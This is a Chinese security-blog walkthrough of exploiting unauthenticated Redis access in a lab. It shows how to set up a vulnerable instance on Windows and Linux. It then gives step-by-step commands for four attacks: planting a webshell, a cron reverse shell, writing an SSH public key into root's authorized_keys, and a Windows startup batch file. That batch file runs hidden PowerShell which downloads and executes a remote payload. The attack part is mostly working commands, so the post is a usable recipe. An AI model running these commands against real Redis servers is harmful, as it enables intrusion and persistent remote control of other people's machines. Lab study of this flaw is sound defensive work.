渗透测试|漏洞之redis未授权漏洞复现及利用

渗透测试|漏洞之redis未授权漏洞复现及利用

0cea3a92b4b9113b798df598ad507474

1,windows环境搭建

下载地址:https://github.com/microsoftarchive/redis/releases

9606470a10ba2b2223baccceb9c4a77a

解压到本地

c53293fe3247a2bb21b56c8f9ac05d69

修改配置文件redis.windows.conf

允许任意IP访问我(未授权漏洞):修改bind 127.0.0.1为bind 0.0.0.0

53c706561cd6b0e812df65c042ad138f

关闭保护模式:修改protected-mode yes为protected-mode no

7f339ca8153d295ab18eac01e49fbb3f

指定以redis.windows.conf为配置文件,启动redis服务

redis-server.exe  redis.windows.conf

c4daf9917c9a3aee577faf1d4aa3f90b

使用redis-cli连接redis服务

redis-cli -h 192.168.23.128

d9e36032b798e6fda827a722e6106cf1

2,linux环境搭建

下载地址:http://download.redis.io/releases/

下载:wget http://download.redis.io/releases/redis-6.0.1.tar.gz

90f564fab2de171ad4712bdaf6af2d07

解压:tar zxvf redis-6.0.1.tar.gz

9e77467542cd5f13ee1136812c871708

编译:cd redis-6.0.1     make

790b8b0de0c0ad26d081064f7cd1417d

编译出错,原因是因为我的系统上没有安装gcc环境

a,安装gcc:yum install gcc-c++

b3a5e43c24cbe8c8509b960f36e7d886

b,清空 :make distclean

4c78115f2d9cd01b0a31fbd0c7c03c7d

c,重新编译 make,还是出错

363b07ee91c3f7ea7062d703eea95d9e

d,应该是gcc未安装完毕,再安装一次

yum install cpp
yum install binutils
yum install glibc
yum install glibc-kernheaders
yum install glibc-common
yum install glibc-devel
yum install gcc
yum install make

e,还是编译失败,估计是redis版本太高了,重新下载个低版本的redis,重复上面的步骤,成功编译

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

修改配置文件:vim redis.conf

9cf98ad5bd7571bd29b8cb513711054a

启动redis

方式1:src目录下./redis-server启动

2faf6af63433339e22982d3f172e20e4

方式2:添加到环境变量启动(推荐这个)

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

启动redis服务

redis-server  /etc/redis.conf

82df2e97933d1684e8e34bc728caa8b4

 

远程连接失败,本地连接成功,证明配置文件还没有加载

9a3cae3e0321aa5a3d14d8f9d50a450d77d569c92733a1634e0903761220b7cd

 

重新加载配置文件启动,显示配置文件已经加载,怀疑可能是因为虚拟机centos 7防火墙拦截了

2edc2c10e66f869abe41540190a11c25

果然本地telnet 端口不通

a304122332f40087b0574b79d459e058

centos7 防火墙添加6379端口

firewall-cmd –list-port

firewall-cmd –zone-public –add-port=6379/tcp –permanent

firewall-cmd –reload

关闭selinux

a9bc123e7bb77886e43c27383575297f

还是不通,telnet一下,还是配置文件的问题,redis还是运行在安全模式下

02c27af2982028179d3aa53d2c9f9781

在本地连接到redis,输入shutdown关闭redis服务,重启加载配置文件启动

57b9b7699d20618561a17f0758e2f249

成功远程连接

bf77a28e5b57a5fb0e14ec317c3ea184

二,漏洞利用

1,写入webshell

利用条件:
1、目标存在web目录
2、已知web绝对路径
3、存在写入权限

1,通过网站报错或者phpinfo页面得到网站的绝对路径

ea4baebb31e0503ec454aeac510b75c0

2,利用获取的网站的绝对路径通过redis写入后门文件

config set dir “C:/ruanjian/phpstudy_pro/WWW”
config set dbfilename info.php
set x “\r\n\r\n\r\n\r\n”
save

08d0884382e429c6c60442bcf552b4c0

备注:\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

012a6032967b1444c1d0cf4cc76f6a8d

3,通过访问,成功写入

faad411f91aa826a68d6722526840140

2,计划任务反弹shell

使用范围:centos

利用条件:
权限可写计划任务

原理和写入webshell一样,只不过这个是写入计划任务,只有linux系统有计划任务,因此只能在linux系统上运行,利用写入的计划任务反弹shell

1,写入计划任务(注意:文件保存的名字为用户名)

ca272e810fd5c9d166839987e761bfd5

2,目标机上查看计划任务已经建立了

21186d0beb7069c3453e7e17984c91ba

3,本地配置监听,成功接收到了shell

506387b03dff1ba87846021ad554a238

注意:使用kali做为目标主机进行测试,需要写入计划任务到/var/spool/cron/crontabs目录下。
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

3,写入公钥远程连接

使用范围:开启了密钥认证的linux主机
利用条件:
root权限

开启了ssh密钥登录,存在/etc/.ssh文件

利用过程:
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

1、首先在centos靶机上开启ssh密钥登录。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;

060863154c020fe3c8af93bd0a031930

2,打开kali 生成一对密钥:ssh-keygn -t rsa

0e4f76e80d8e507ce0ad4390075e054e

3,将公钥写入key.txt并添加上换行符号

(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt

85a9ea6738436e90257f889be9e03d014,将公钥内容设置给redis变量(注意路径,写自己的路径)

cat /root/key.txt | ./redis-cli -h 192.168.23.129 -x set tide

79a117ad7ff27f63cd96ef541e2725295,在/root/.ssh目录下生成authorized_keys文件(和前面的原理一样,都是写入重命名)

变量之前已经写好了

2f83a23ff00dbf20117a75c121138dbf

6,在目标机上查看写入成功

0b1f5256e2a55f5f2758b5cae7987296

7,攻击机kali上进行连接:ssh  -o StrictHostKeyChecking=no 192.168.23.129

0787cdc83f0dbb422d88ac8f09866be7

注意:
目标主机必须开启了密钥登录才能利用。
ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上。

4,开机启动项

范围:windows系统(只有windows系统有开机启动项)

当目标redis部署在windows主机上时,可以写入文件到自启动目录。当下次电脑重新启动时执行上线。
使用powershell远程下载执行。
server服务器默认存在Administrator用户。
写入批处理文件到Administrator用户的开机启动目录。

1,写入

config set dir “C:/Users/shy/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/”

config set dbfilename shy.bat
set x “\r\n\r\npowershell.exe -nop -w hidden -c \”IEX <.downloadstring<‘http://192.168.23.44:8088/xiye.exe’>>\”\r\n\r\n”7d1e6ed067e610a6521e512dce0da04f

2,可以看到目标机的启动项下成功启动shy.bat文件

8d8c46da2bdd21b4a13586784270ecca

3,重启之后,获得shell

189636de1696d53332731225b52eb0fe

 

e1e96219645d2c0658973305cfc640ec-3

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/3213

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月18日 下午11:31
下一篇 2022年1月20日 上午1:37

相关推荐

发表回复

您的电子邮箱地址不会被公开。